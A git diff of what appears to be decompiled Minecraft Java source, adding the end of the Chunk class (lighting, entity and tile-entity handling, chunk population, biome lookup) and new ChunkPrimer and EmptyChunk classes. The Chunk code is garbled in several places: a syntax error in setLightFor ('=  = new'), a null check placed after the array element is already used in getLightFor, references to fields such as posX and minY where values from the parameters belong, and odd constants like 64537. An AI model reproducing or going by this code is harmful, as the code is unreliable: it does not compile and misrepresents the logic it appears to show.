+    if ((var10 instanceof ITileEntityProvider))
+    {
+      TileEntity var15 = func_177424_a(p_177436_1_, EnumCreateEntityType.CHECK);
+      
+      if (var15 != null)
+      {
+        var15.updateContainingBlockInfo();
+      }
+    }
+    
+    if ((!worldObj.isRemote) && (var10 != var9))
+    {
+      var9.onBlockAdded(worldObj, p_177436_1_, p_177436_2_);
+    }
+    
+    if ((var9 instanceof ITileEntityProvider))
+    {
+      TileEntity var15 = func_177424_a(p_177436_1_, EnumCreateEntityType.CHECK);
+      
+      if (var15 == null)
+      {
+        var15 = ((ITileEntityProvider)var9).createNewTileEntity(worldObj, var9.getMetaFromState(p_177436_2_));
+        worldObj.setTileEntity(p_177436_1_, var15);
+      }
+      
+      if (var15 != null)
+      {
+        var15.updateContainingBlockInfo();
+      }
+    }
+    
+    isModified = true;
+    return var8;
+  }
+  
+
+
+  public int getLightFor(EnumSkyBlock p_177413_1_, BlockPos p_177413_2_)
+  {
+    int var3 = p_177413_2_.getX() & 0xF;
+    int var4 = p_177413_2_.getY();
+    int var5 = p_177413_2_.getZ() & 0xF;
+    ExtendedBlockStorage var6 = storageArrays[(var4 >> 4)];
+    return p_177413_1_ == EnumSkyBlock.BLOCK ? var6.getExtBlocklightValue(var3, var4 & 0xF, var5) : p_177413_1_ == EnumSkyBlock.SKY ? var6.getExtSkylightValue(var3, var4 & 0xF, var5) : worldObj.provider.getHasNoSky() ? 0 : var6 == null ? 0 : canSeeSky(p_177413_2_) ? defaultLightValue : defaultLightValue;
+  }
+  
+  public void setLightFor(EnumSkyBlock p_177431_1_, BlockPos p_177431_2_, int p_177431_3_)
+  {
+    int var4 = p_177431_2_.getX() & 0xF;
+    int var5 = p_177431_2_.getY();
+    int var6 = p_177431_2_.getZ() & 0xF;
+    ExtendedBlockStorage var7 = storageArrays[(var5 >> 4)];
+    
+    if (var7 == null)
+    {
+      var7 = storageArrays[(var5 >> 4)] =  = new ExtendedBlockStorage(var5 >> 4 << 4, !worldObj.provider.getHasNoSky());
+      generateSkylightMap();
+    }
+    
+    isModified = true;
+    
+    if (p_177431_1_ == EnumSkyBlock.SKY)
+    {
+      if (!worldObj.provider.getHasNoSky())
+      {
+        var7.setExtSkylightValue(var4, var5 & 0xF, var6, p_177431_3_);
+      }
+    }
+    else if (p_177431_1_ == EnumSkyBlock.BLOCK)
+    {
+      var7.setExtBlocklightValue(var4, var5 & 0xF, var6, p_177431_3_);
+    }
+  }
+  
+  public int setLight(BlockPos p_177443_1_, int p_177443_2_)
+  {
+    int var3 = p_177443_1_.getX() & 0xF;
+    int var4 = p_177443_1_.getY();
+    int var5 = p_177443_1_.getZ() & 0xF;
+    ExtendedBlockStorage var6 = storageArrays[(var4 >> 4)];
+    
+    if (var6 == null)
+    {
+      return (!worldObj.provider.getHasNoSky()) && (p_177443_2_ < SKYdefaultLightValue) ? SKYdefaultLightValue - p_177443_2_ : 0;
+    }
+    
+
+    int var7 = worldObj.provider.getHasNoSky() ? 0 : var6.getExtSkylightValue(var3, var4 & 0xF, var5);
+    var7 -= p_177443_2_;
+    int var8 = var6.getExtBlocklightValue(var3, var4 & 0xF, var5);
+    
+    if (var8 > var7)
+    {
+      var7 = var8;
+    }
+    
+    return var7;
+  }
+  
+
+
+
+
+  public void addEntity(Entity entityIn)
+  {
+    hasEntities = true;
+    int var2 = MathHelper.floor_double(posX / 16.0D);
+    int var3 = MathHelper.floor_double(posZ / 16.0D);
+    
+    if ((var2 != xPosition) || (var3 != zPosition))
+    {
+      logger.warn("Wrong location! (" + var2 + ", " + var3 + ") should be (" + xPosition + ", " + zPosition + "), " + entityIn, new Object[] { entityIn });
+      entityIn.setDead();
+    }
+    
+    int var4 = MathHelper.floor_double(posY / 16.0D);
+    
+    if (var4 < 0)
+    {
+      var4 = 0;
+    }
+    
+    if (var4 >= entityLists.length)
+    {
+      var4 = entityLists.length - 1;
+    }
+    
+    addedToChunk = true;
+    chunkCoordX = xPosition;
+    chunkCoordY = var4;
+    chunkCoordZ = zPosition;
+    entityLists[var4].add(entityIn);
+  }
+  
+
+
+
+  public void removeEntity(Entity p_76622_1_)
+  {
+    removeEntityAtIndex(p_76622_1_, chunkCoordY);
+  }
+  
+
+
+
+  public void removeEntityAtIndex(Entity p_76608_1_, int p_76608_2_)
+  {
+    if (p_76608_2_ < 0)
+    {
+      p_76608_2_ = 0;
+    }
+    
+    if (p_76608_2_ >= entityLists.length)
+    {
+      p_76608_2_ = entityLists.length - 1;
+    }
+    
+    entityLists[p_76608_2_].remove(p_76608_1_);
+  }
+  
+  public boolean canSeeSky(BlockPos pos)
+  {
+    int var2 = pos.getX() & 0xF;
+    int var3 = pos.getY();
+    int var4 = pos.getZ() & 0xF;
+    return var3 >= heightMap[(var4 << 4 | var2)];
+  }
+  
+  private TileEntity createNewTileEntity(BlockPos pos)
+  {
+    Block var2 = getBlock(pos);
+    return !var2.hasTileEntity() ? null : ((ITileEntityProvider)var2).createNewTileEntity(worldObj, getBlockMetadata(pos));
+  }
+  
+  public TileEntity func_177424_a(BlockPos p_177424_1_, EnumCreateEntityType p_177424_2_)
+  {
+    TileEntity var3 = (TileEntity)chunkTileEntityMap.get(p_177424_1_);
+    
+    if (var3 == null)
+    {
+      if (p_177424_2_ == EnumCreateEntityType.IMMEDIATE)
+      {
+        var3 = createNewTileEntity(p_177424_1_);
+        worldObj.setTileEntity(p_177424_1_, var3);
+      }
+      else if (p_177424_2_ == EnumCreateEntityType.QUEUED)
+      {
+        field_177447_w.add(p_177424_1_);
+      }
+    }
+    else if (var3.isInvalid())
+    {
+      chunkTileEntityMap.remove(p_177424_1_);
+      return null;
+    }
+    
+    return var3;
+  }
+  
+  public void addTileEntity(TileEntity tileEntityIn)
+  {
+    addTileEntity(tileEntityIn.getPos(), tileEntityIn);
+    
+    if (isChunkLoaded)
+    {
+      worldObj.addTileEntity(tileEntityIn);
+    }
+  }
+  
+  public void addTileEntity(BlockPos pos, TileEntity tileEntityIn)
+  {
+    tileEntityIn.setWorldObj(worldObj);
+    tileEntityIn.setPos(pos);
+    
+    if ((getBlock(pos) instanceof ITileEntityProvider))
+    {
+      if (chunkTileEntityMap.containsKey(pos))
+      {
+        ((TileEntity)chunkTileEntityMap.get(pos)).invalidate();
+      }
+      
+      tileEntityIn.validate();
+      chunkTileEntityMap.put(pos, tileEntityIn);
+    }
+  }
+  
+  public void removeTileEntity(BlockPos pos)
+  {
+    if (isChunkLoaded)
+    {
+      TileEntity var2 = (TileEntity)chunkTileEntityMap.remove(pos);
+      
+      if (var2 != null)
+      {
+        var2.invalidate();
+      }
+    }
+  }
+  
+
+
+
+  public void onChunkLoad()
+  {
+    isChunkLoaded = true;
+    worldObj.addTileEntities(chunkTileEntityMap.values());
+    
+    for (int var1 = 0; var1 < entityLists.length; var1++)
+    {
+      Iterator var2 = entityLists[var1].iterator();
+      
+      while (var2.hasNext())
+      {
+        Entity var3 = (Entity)var2.next();
+        var3.onChunkLoad();
+      }
+      
+      worldObj.loadEntities(entityLists[var1]);
+    }
+  }
+  
+
+
+
+  public void onChunkUnload()
+  {
+    isChunkLoaded = false;
+    Iterator var1 = chunkTileEntityMap.values().iterator();
+    
+    while (var1.hasNext())
+    {
+      TileEntity var2 = (TileEntity)var1.next();
+      worldObj.markTileEntityForRemoval(var2);
+    }
+    
+    for (int var3 = 0; var3 < entityLists.length; var3++)
+    {
+      worldObj.unloadEntities(entityLists[var3]);
+    }
+  }
+  
+
+
+
+  public void setChunkModified()
+  {
+    isModified = true;
+  }
+  
+  public void func_177414_a(Entity p_177414_1_, AxisAlignedBB p_177414_2_, List p_177414_3_, Predicate p_177414_4_)
+  {
+    int var5 = MathHelper.floor_double((minY - 2.0D) / 16.0D);
+    int var6 = MathHelper.floor_double((maxY + 2.0D) / 16.0D);
+    var5 = MathHelper.clamp_int(var5, 0, entityLists.length - 1);
+    var6 = MathHelper.clamp_int(var6, 0, entityLists.length - 1);
+    
+    for (int var7 = var5; var7 <= var6; var7++)
+    {
+      Iterator var8 = entityLists[var7].iterator();
+      
+      while (var8.hasNext())
+      {
+        Entity var9 = (Entity)var8.next();
+        
+        if ((var9 != p_177414_1_) && (var9.getEntityBoundingBox().intersectsWith(p_177414_2_)) && ((p_177414_4_ == null) || (p_177414_4_.apply(var9))))
+        {
+          p_177414_3_.add(var9);
+          Entity[] var10 = var9.getParts();
+          
+          if (var10 != null)
+          {
+            for (int var11 = 0; var11 < var10.length; var11++)
+            {
+              var9 = var10[var11];
+              
+              if ((var9 != p_177414_1_) && (var9.getEntityBoundingBox().intersectsWith(p_177414_2_)) && ((p_177414_4_ == null) || (p_177414_4_.apply(var9))))
+              {
+                p_177414_3_.add(var9);
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  public void func_177430_a(Class p_177430_1_, AxisAlignedBB p_177430_2_, List p_177430_3_, Predicate p_177430_4_)
+  {
+    int var5 = MathHelper.floor_double((minY - 2.0D) / 16.0D);
+    int var6 = MathHelper.floor_double((maxY + 2.0D) / 16.0D);
+    var5 = MathHelper.clamp_int(var5, 0, entityLists.length - 1);
+    var6 = MathHelper.clamp_int(var6, 0, entityLists.length - 1);
+    
+    for (int var7 = var5; var7 <= var6; var7++)
+    {
+      Iterator var8 = entityLists[var7].func_180215_b(p_177430_1_).iterator();
+      
+      while (var8.hasNext())
+      {
+        Entity var9 = (Entity)var8.next();
+        
+        if ((var9.getEntityBoundingBox().intersectsWith(p_177430_2_)) && ((p_177430_4_ == null) || (p_177430_4_.apply(var9))))
+        {
+          p_177430_3_.add(var9);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public boolean needsSaving(boolean p_76601_1_)
+  {
+    if (p_76601_1_)
+    {
+      if (((hasEntities) && (worldObj.getTotalWorldTime() != lastSaveTime)) || (isModified))
+      {
+        return true;
+      }
+    }
+    else if ((hasEntities) && (worldObj.getTotalWorldTime() >= lastSaveTime + 600L))
+    {
+      return true;
+    }
+    
+    return isModified;
+  }
+  
+  public Random getRandomWithSeed(long seed)
+  {
+    return new Random(worldObj.getSeed() + xPosition * xPosition * 4987142 + xPosition * 5947611 + zPosition * zPosition * 4392871L + zPosition * 389711 ^ seed);
+  }
+  
+  public boolean isEmpty()
+  {
+    return false;
+  }
+  
+  public void populateChunk(IChunkProvider p_76624_1_, IChunkProvider p_76624_2_, int p_76624_3_, int p_76624_4_)
+  {
+    boolean var5 = p_76624_1_.chunkExists(p_76624_3_, p_76624_4_ - 1);
+    boolean var6 = p_76624_1_.chunkExists(p_76624_3_ + 1, p_76624_4_);
+    boolean var7 = p_76624_1_.chunkExists(p_76624_3_, p_76624_4_ + 1);
+    boolean var8 = p_76624_1_.chunkExists(p_76624_3_ - 1, p_76624_4_);
+    boolean var9 = p_76624_1_.chunkExists(p_76624_3_ - 1, p_76624_4_ - 1);
+    boolean var10 = p_76624_1_.chunkExists(p_76624_3_ + 1, p_76624_4_ + 1);
+    boolean var11 = p_76624_1_.chunkExists(p_76624_3_ - 1, p_76624_4_ + 1);
+    boolean var12 = p_76624_1_.chunkExists(p_76624_3_ + 1, p_76624_4_ - 1);
+    
+    if ((var6) && (var7) && (var10))
+    {
+      if (!isTerrainPopulated)
+      {
+        p_76624_1_.populate(p_76624_2_, p_76624_3_, p_76624_4_);
+      }
+      else
+      {
+        p_76624_1_.func_177460_a(p_76624_2_, this, p_76624_3_, p_76624_4_);
+      }
+    }
+    
+
+
+    if ((var8) && (var7) && (var11))
+    {
+      Chunk var13 = p_76624_1_.provideChunk(p_76624_3_ - 1, p_76624_4_);
+      
+      if (!isTerrainPopulated)
+      {
+        p_76624_1_.populate(p_76624_2_, p_76624_3_ - 1, p_76624_4_);
+      }
+      else
+      {
+        p_76624_1_.func_177460_a(p_76624_2_, var13, p_76624_3_ - 1, p_76624_4_);
+      }
+    }
+    
+    if ((var5) && (var6) && (var12))
+    {
+      Chunk var13 = p_76624_1_.provideChunk(p_76624_3_, p_76624_4_ - 1);
+      
+      if (!isTerrainPopulated)
+      {
+        p_76624_1_.populate(p_76624_2_, p_76624_3_, p_76624_4_ - 1);
+      }
+      else
+      {
+        p_76624_1_.func_177460_a(p_76624_2_, var13, p_76624_3_, p_76624_4_ - 1);
+      }
+    }
+    
+    if ((var9) && (var5) && (var8))
+    {
+      Chunk var13 = p_76624_1_.provideChunk(p_76624_3_ - 1, p_76624_4_ - 1);
+      
+      if (!isTerrainPopulated)
+      {
+        p_76624_1_.populate(p_76624_2_, p_76624_3_ - 1, p_76624_4_ - 1);
+      }
+      else
+      {
+        p_76624_1_.func_177460_a(p_76624_2_, var13, p_76624_3_ - 1, p_76624_4_ - 1);
+      }
+    }
+  }
+  
+  public BlockPos func_177440_h(BlockPos p_177440_1_)
+  {
+    int var2 = p_177440_1_.getX() & 0xF;
+    int var3 = p_177440_1_.getZ() & 0xF;
+    int var4 = var2 | var3 << 4;
+    BlockPos var5 = new BlockPos(p_177440_1_.getX(), precipitationHeightMap[var4], p_177440_1_.getZ());
+    
+    if (var5.getY() == 64537)
+    {
+      int var6 = getTopFilledSegment() + 15;
+      var5 = new BlockPos(p_177440_1_.getX(), var6, p_177440_1_.getZ());
+      int var7 = -1;
+      
+      while ((var5.getY() > 0) && (var7 == -1))
+      {
+        Block var8 = getBlock(var5);
+        Material var9 = var8.getMaterial();
+        
+        if ((!var9.blocksMovement()) && (!var9.isLiquid()))
+        {
+          var5 = var5.offsetDown();
+        }
+        else
+        {
+          var7 = var5.getY() + 1;
+        }
+      }
+      
+      precipitationHeightMap[var4] = var7;
+    }
+    
+    return new BlockPos(p_177440_1_.getX(), precipitationHeightMap[var4], p_177440_1_.getZ());
+  }
+  
+  public void func_150804_b(boolean p_150804_1_)
+  {
+    if ((isGapLightingUpdated) && (!worldObj.provider.getHasNoSky()) && (!p_150804_1_))
+    {
+      recheckGaps(worldObj.isRemote);
+    }
+    
+    field_150815_m = true;
+    
+    if ((!isLightPopulated) && (isTerrainPopulated))
+    {
+      func_150809_p();
+    }
+    
+    while (!field_177447_w.isEmpty())
+    {
+      BlockPos var2 = (BlockPos)field_177447_w.poll();
+      
+      if ((func_177424_a(var2, EnumCreateEntityType.CHECK) == null) && (getBlock(var2).hasTileEntity()))
+      {
+        TileEntity var3 = createNewTileEntity(var2);
+        worldObj.setTileEntity(var2, var3);
+        worldObj.markBlockRangeForRenderUpdate(var2, var2);
+      }
+    }
+  }
+  
+  public boolean isPopulated()
+  {
+    return (field_150815_m) && (isTerrainPopulated) && (isLightPopulated);
+  }
+  
+
+
+
+  public ChunkCoordIntPair getChunkCoordIntPair()
+  {
+    return new ChunkCoordIntPair(xPosition, zPosition);
+  }
+  
+
+
+
+
+  public boolean getAreLevelsEmpty(int p_76606_1_, int p_76606_2_)
+  {
+    if (p_76606_1_ < 0)
+    {
+      p_76606_1_ = 0;
+    }
+    
+    if (p_76606_2_ >= 256)
+    {
+      p_76606_2_ = 255;
+    }
+    
+    for (int var3 = p_76606_1_; var3 <= p_76606_2_; var3 += 16)
+    {
+      ExtendedBlockStorage var4 = storageArrays[(var3 >> 4)];
+      
+      if ((var4 != null) && (!var4.isEmpty()))
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+  public void setStorageArrays(ExtendedBlockStorage[] newStorageArrays)
+  {
+    if (storageArrays.length != newStorageArrays.length)
+    {
+      logger.warn("Could not set level chunk sections, array length is " + newStorageArrays.length + " instead of " + storageArrays.length);
+    }
+    else
+    {
+      for (int var2 = 0; var2 < storageArrays.length; var2++)
+      {
+        storageArrays[var2] = newStorageArrays[var2];
+      }
+    }
+  }
+  
+  public void func_177439_a(byte[] p_177439_1_, int p_177439_2_, boolean p_177439_3_)
+  {
+    int var4 = 0;
+    boolean var5 = !worldObj.provider.getHasNoSky();
+    
+    int var8;
+    for (int var6 = 0; var6 < storageArrays.length; var6++)
+    {
+      if ((p_177439_2_ & 1 << var6) != 0)
+      {
+        if (storageArrays[var6] == null)
+        {
+          storageArrays[var6] = new ExtendedBlockStorage(var6 << 4, var5);
+        }
+        
+        char[] var7 = storageArrays[var6].getData();
+        
+        for (var8 = 0; var8 < var7.length; var8++)
+        {
+          var7[var8] = ((char)((p_177439_1_[(var4 + 1)] & 0xFF) << 8 | p_177439_1_[var4] & 0xFF));
+          var4 += 2;
+        }
+      }
+      else if ((p_177439_3_) && (storageArrays[var6] != null))
+      {
+        storageArrays[var6] = null;
+      }
+    }
+    
+
+
+    for (var6 = 0; var6 < storageArrays.length; var6++)
+    {
+      if (((p_177439_2_ & 1 << var6) != 0) && (storageArrays[var6] != null))
+      {
+        NibbleArray var10 = storageArrays[var6].getBlocklightArray();
+        System.arraycopy(p_177439_1_, var4, var10.getData(), 0, var10.getData().length);
+        var4 += var10.getData().length;
+      }
+    }
+    
+    if (var5)
+    {
+      for (var6 = 0; var6 < storageArrays.length; var6++)
+      {
+        if (((p_177439_2_ & 1 << var6) != 0) && (storageArrays[var6] != null))
+        {
+          NibbleArray var10 = storageArrays[var6].getSkylightArray();
+          System.arraycopy(p_177439_1_, var4, var10.getData(), 0, var10.getData().length);
+          var4 += var10.getData().length;
+        }
+      }
+    }
+    
+    if (p_177439_3_)
+    {
+      System.arraycopy(p_177439_1_, var4, blockBiomeArray, 0, blockBiomeArray.length);
+      var8 = var4 + blockBiomeArray.length;
+    }
+    
+    for (var6 = 0; var6 < storageArrays.length; var6++)
+    {
+      if ((storageArrays[var6] != null) && ((p_177439_2_ & 1 << var6) != 0))
+      {
+        storageArrays[var6].removeInvalidBlocks();
+      }
+    }
+    
+    isLightPopulated = true;
+    isTerrainPopulated = true;
+    generateHeightMap();
+    Iterator var9 = chunkTileEntityMap.values().iterator();
+    
+    while (var9.hasNext())
+    {
+      TileEntity var11 = (TileEntity)var9.next();
+      var11.updateContainingBlockInfo();
+    }
+  }
+  
+  public BiomeGenBase getBiome(BlockPos pos, WorldChunkManager chunkManager)
+  {
+    int var3 = pos.getX() & 0xF;
+    int var4 = pos.getZ() & 0xF;
+    int var5 = blockBiomeArray[(var4 << 4 | var3)] & 0xFF;
+    
+
+    if (var5 == 255)
+    {
+      BiomeGenBase var6 = chunkManager.func_180300_a(pos, BiomeGenBase.plains);
+      var5 = biomeID;
+      blockBiomeArray[(var4 << 4 | var3)] = ((byte)(var5 & 0xFF));
+    }
+    
+    BiomeGenBase var6 = BiomeGenBase.getBiome(var5);
+    return var6 == null ? BiomeGenBase.plains : var6;
+  }
+  
+
+
+
+  public byte[] getBiomeArray()
+  {
+    return blockBiomeArray;
+  }
+  
+
+
+
+
+  public void setBiomeArray(byte[] biomeArray)
+  {
+    if (blockBiomeArray.length != biomeArray.length)
+    {
+      logger.warn("Could not set level chunk biomes, array length is " + biomeArray.length + " instead of " + blockBiomeArray.length);
+    }
+    else
+    {
+      for (int var2 = 0; var2 < blockBiomeArray.length; var2++)
+      {
+        blockBiomeArray[var2] = biomeArray[var2];
+      }
+    }
+  }
+  
+
+
+
+  public void resetRelightChecks()
+  {
+    queuedLightChecks = 0;
+  }
+  
+
+
+
+
+
+  public void enqueueRelightChecks()
+  {
+    BlockPos var1 = new BlockPos(xPosition << 4, 0, zPosition << 4);
+    
+    for (int var2 = 0; var2 < 8; var2++)
+    {
+      if (queuedLightChecks >= 4096)
+      {
+        return;
+      }
+      
+      int var3 = queuedLightChecks % 16;
+      int var4 = queuedLightChecks / 16 % 16;
+      int var5 = queuedLightChecks / 256;
+      queuedLightChecks += 1;
+      
+      for (int var6 = 0; var6 < 16; var6++)
+      {
+        BlockPos var7 = var1.add(var4, (var3 << 4) + var6, var5);
+        boolean var8 = (var6 == 0) || (var6 == 15) || (var4 == 0) || (var4 == 15) || (var5 == 0) || (var5 == 15);
+        
+        if (((storageArrays[var3] == null) && (var8)) || ((storageArrays[var3] != null) && (storageArrays[var3].getBlockByExtId(var4, var6, var5).getMaterial() == Material.air)))
+        {
+          EnumFacing[] var9 = EnumFacing.values();
+          int var10 = var9.length;
+          
+          for (int var11 = 0; var11 < var10; var11++)
+          {
+            EnumFacing var12 = var9[var11];
+            BlockPos var13 = var7.offset(var12);
+            
+            if (worldObj.getBlockState(var13).getBlock().getLightValue() > 0)
+            {
+              worldObj.checkLight(var13);
+            }
+          }
+          
+          worldObj.checkLight(var7);
+        }
+      }
+    }
+  }
+  
+  public void func_150809_p()
+  {
+    isTerrainPopulated = true;
+    isLightPopulated = true;
+    BlockPos var1 = new BlockPos(xPosition << 4, 0, zPosition << 4);
+    
+    if (!worldObj.provider.getHasNoSky())
+    {
+      if (worldObj.isAreaLoaded(var1.add(-1, 0, -1), var1.add(16, 63, 16)))
+      {
+
+
+        for (int var2 = 0; var2 < 16; var2++)
+        {
+          for (int var3 = 0; var3 < 16; var3++)
+          {
+            if (!func_150811_f(var2, var3))
+            {
+              isLightPopulated = false;
+              break;
+            }
+          }
+        }
+        
+        if (isLightPopulated)
+        {
+          Iterator var5 = EnumFacing.Plane.HORIZONTAL.iterator();
+          
+          while (var5.hasNext())
+          {
+            EnumFacing var6 = (EnumFacing)var5.next();
+            int var4 = var6.getAxisDirection() == net.minecraft.util.EnumFacing.AxisDirection.POSITIVE ? 16 : 1;
+            worldObj.getChunkFromBlockCoords(var1.offset(var6, var4)).func_180700_a(var6.getOpposite());
+          }
+          
+          func_177441_y();
+        }
+      }
+      else
+      {
+        isLightPopulated = false;
+      }
+    }
+  }
+  
+  private void func_177441_y()
+  {
+    for (int var1 = 0; var1 < updateSkylightColumns.length; var1++)
+    {
+      updateSkylightColumns[var1] = true;
+    }
+    
+    recheckGaps(false);
+  }
+  
+  private void func_180700_a(EnumFacing p_180700_1_)
+  {
+    if (isTerrainPopulated)
+    {
+
+
+      if (p_180700_1_ == EnumFacing.EAST)
+      {
+        for (int var2 = 0; var2 < 16; var2++)
+        {
+          func_150811_f(15, var2);
+        }
+        
+      } else if (p_180700_1_ == EnumFacing.WEST)
+      {
+        for (int var2 = 0; var2 < 16; var2++)
+        {
+          func_150811_f(0, var2);
+        }
+        
+      } else if (p_180700_1_ == EnumFacing.SOUTH)
+      {
+        for (int var2 = 0; var2 < 16; var2++)
+        {
+          func_150811_f(var2, 15);
+        }
+        
+      } else if (p_180700_1_ == EnumFacing.NORTH)
+      {
+        for (int var2 = 0; var2 < 16; var2++)
+        {
+          func_150811_f(var2, 0);
+        }
+      }
+    }
+  }
+  
+  private boolean func_150811_f(int p_150811_1_, int p_150811_2_)
+  {
+    BlockPos var3 = new BlockPos(xPosition << 4, 0, zPosition << 4);
+    int var4 = getTopFilledSegment();
+    boolean var5 = false;
+    boolean var6 = false;
+    
+
+
+    int var7 = var4 + 16 - 1;
+    do {
+      do { BlockPos var8 = var3.add(p_150811_1_, var7, p_150811_2_);
+        int var9 = getBlockLightOpacity(var8);
+        
+        if ((var9 == 255) && (var7 < 63))
+        {
+          var6 = true;
+        }
+        
+        if ((!var5) && (var9 > 0))
+        {
+          var5 = true;
+        }
+        else if ((var5) && (var9 == 0) && (!worldObj.checkLight(var8)))
+        {
+          return false;
+        }
+        var7--; } while (var7 > 63); if (var7 <= 0) break; } while (!var6);
+    for (; 
+        
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+        var7 > 0; var7--)
+    {
+      BlockPos var8 = var3.add(p_150811_1_, var7, p_150811_2_);
+      
+      if (getBlock(var8).getLightValue() > 0)
+      {
+        worldObj.checkLight(var8);
+      }
+    }
+    
+    return true;
+  }
+  
+  public boolean isLoaded()
+  {
+    return isChunkLoaded;
+  }
+  
+  public void func_177417_c(boolean p_177417_1_)
+  {
+    isChunkLoaded = p_177417_1_;
+  }
+  
+  public World getWorld()
+  {
+    return worldObj;
+  }
+  
+  public int[] getHeightMap()
+  {
+    return heightMap;
+  }
+  
+  public void setHeightMap(int[] newHeightMap)
+  {
+    if (heightMap.length != newHeightMap.length)
+    {
+      logger.warn("Could not set level chunk heightmap, array length is " + newHeightMap.length + " instead of " + heightMap.length);
+    }
+    else
+    {
+      for (int var2 = 0; var2 < heightMap.length; var2++)
+      {
+        heightMap[var2] = newHeightMap[var2];
+      }
+    }
+  }
+  
+  public Map getTileEntityMap()
+  {
+    return chunkTileEntityMap;
+  }
+  
+  public ClassInheratanceMultiMap[] getEntityLists()
+  {
+    return entityLists;
+  }
+  
+  public boolean isTerrainPopulated()
+  {
+    return isTerrainPopulated;
+  }
+  
+  public void setTerrainPopulated(boolean terrainPopulated)
+  {
+    isTerrainPopulated = terrainPopulated;
+  }
+  
+  public boolean isLightPopulated()
+  {
+    return isLightPopulated;
+  }
+  
+  public void setLightPopulated(boolean lightPopulated)
+  {
+    isLightPopulated = lightPopulated;
+  }
+  
+  public void setModified(boolean modified)
+  {
+    isModified = modified;
+  }
+  
+  public void setHasEntities(boolean hasEntitiesIn)
+  {
+    hasEntities = hasEntitiesIn;
+  }
+  
+  public void setLastSaveTime(long saveTime)
+  {
+    lastSaveTime = saveTime;
+  }
+  
+  public int getLowestHeight()
+  {
+    return heightMapMinimum;
+  }
+  
+  public long getInhabitedTime()
+  {
+    return inhabitedTime;
+  }
+  
+  public void setInhabitedTime(long newInhabitedTime)
+  {
+    inhabitedTime = newInhabitedTime;
+  }
+  
+  public static enum EnumCreateEntityType
+  {
+    IMMEDIATE("IMMEDIATE", 0), 
+    QUEUED("QUEUED", 1), 
+    CHECK("CHECK", 2);
+    
+    private static final EnumCreateEntityType[] $VALUES = { IMMEDIATE, QUEUED, CHECK };
+    private static final String __OBFID = "CL_00002009";
+    
+    private EnumCreateEntityType(String p_i45642_1_, int p_i45642_2_) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/chunk/ChunkPrimer.java b/src/minecraft/net/minecraft/world/chunk/ChunkPrimer.java
new file mode 100644
index 0000000..0ba6625
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/chunk/ChunkPrimer.java
@@ -0,0 +1,54 @@
+package net.minecraft.world.chunk;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.ObjectIntIdentityMap;
+
+public class ChunkPrimer
+{
+  private final short[] data = new short[65536];
+  private final IBlockState defaultState;
+  private static final String __OBFID = "CL_00002007";
+  
+  public ChunkPrimer()
+  {
+    defaultState = net.minecraft.init.Blocks.air.getDefaultState();
+  }
+  
+  public IBlockState getBlockState(int x, int y, int z)
+  {
+    int var4 = x << 12 | z << 8 | y;
+    return getBlockState(var4);
+  }
+  
+  public IBlockState getBlockState(int index)
+  {
+    if ((index >= 0) && (index < data.length))
+    {
+      IBlockState var2 = (IBlockState)Block.BLOCK_STATE_IDS.getByValue(data[index]);
+      return var2 != null ? var2 : defaultState;
+    }
+    
+
+    throw new IndexOutOfBoundsException("The coordinate is out of range");
+  }
+  
+
+  public void setBlockState(int x, int y, int z, IBlockState state)
+  {
+    int var5 = x << 12 | z << 8 | y;
+    setBlockState(var5, state);
+  }
+  
+  public void setBlockState(int index, IBlockState state)
+  {
+    if ((index >= 0) && (index < data.length))
+    {
+      data[index] = ((short)Block.BLOCK_STATE_IDS.get(state));
+    }
+    else
+    {
+      throw new IndexOutOfBoundsException("The coordinate is out of range");
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/chunk/EmptyChunk.java b/src/minecraft/net/minecraft/world/chunk/EmptyChunk.java
new file mode 100644
index 0000000..24e395b
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/chunk/EmptyChunk.java
@@ -0,0 +1,153 @@
+package net.minecraft.world.chunk;
+
+import com.google.common.base.Predicate;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Blocks;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.EnumSkyBlock;
+import net.minecraft.world.World;
+
+public class EmptyChunk extends Chunk
+{
+  private static final String __OBFID = "CL_00000372";
+  
+  public EmptyChunk(World worldIn, int x, int z)
+  {
+    super(worldIn, x, z);
+  }
+  
+
+
+
+  public boolean isAtLocation(int x, int z)
+  {
+    return (x == xPosition) && (z == zPosition);
+  }
+  
+
+
+
+  public int getHeight(int x, int z)
+  {
+    return 0;
+  }
+  
+
+
+  public void generateHeightMap() {}
+  
+
+
+  public void generateSkylightMap() {}
+  
+
+
+  public Block getBlock(BlockPos pos)
+  {
+    return Blocks.air;
+  }
+  
+  public int getBlockLightOpacity(BlockPos pos)
+  {
+    return 255;
+  }
+  
+  public int getBlockMetadata(BlockPos pos)
+  {
+    return 0;
+  }
+  
+  public int getLightFor(EnumSkyBlock p_177413_1_, BlockPos p_177413_2_)
+  {
+    return defaultLightValue;
+  }
+  
+  public void setLightFor(EnumSkyBlock p_177431_1_, BlockPos p_177431_2_, int p_177431_3_) {}
+  
+  public int setLight(BlockPos p_177443_1_, int p_177443_2_)
+  {
+    return 0;
+  }
+  
+
+
+
+  public void addEntity(Entity entityIn) {}
+  
+
+
+  public void removeEntity(Entity p_76622_1_) {}
+  
+
+
+  public void removeEntityAtIndex(Entity p_76608_1_, int p_76608_2_) {}
+  
+
+
+  public boolean canSeeSky(BlockPos pos)
+  {
+    return false;
+  }
+  
+  public TileEntity func_177424_a(BlockPos p_177424_1_, Chunk.EnumCreateEntityType p_177424_2_)
+  {
+    return null;
+  }
+  
+
+
+  public void addTileEntity(TileEntity tileEntityIn) {}
+  
+
+
+  public void addTileEntity(BlockPos pos, TileEntity tileEntityIn) {}
+  
+
+
+  public void removeTileEntity(BlockPos pos) {}
+  
+
+  public void onChunkLoad() {}
+  
+
+  public void onChunkUnload() {}
+  
+
+  public void setChunkModified() {}
+  
+
+  public void func_177414_a(Entity p_177414_1_, AxisAlignedBB p_177414_2_, List p_177414_3_, Predicate p_177414_4_) {}
+  
+
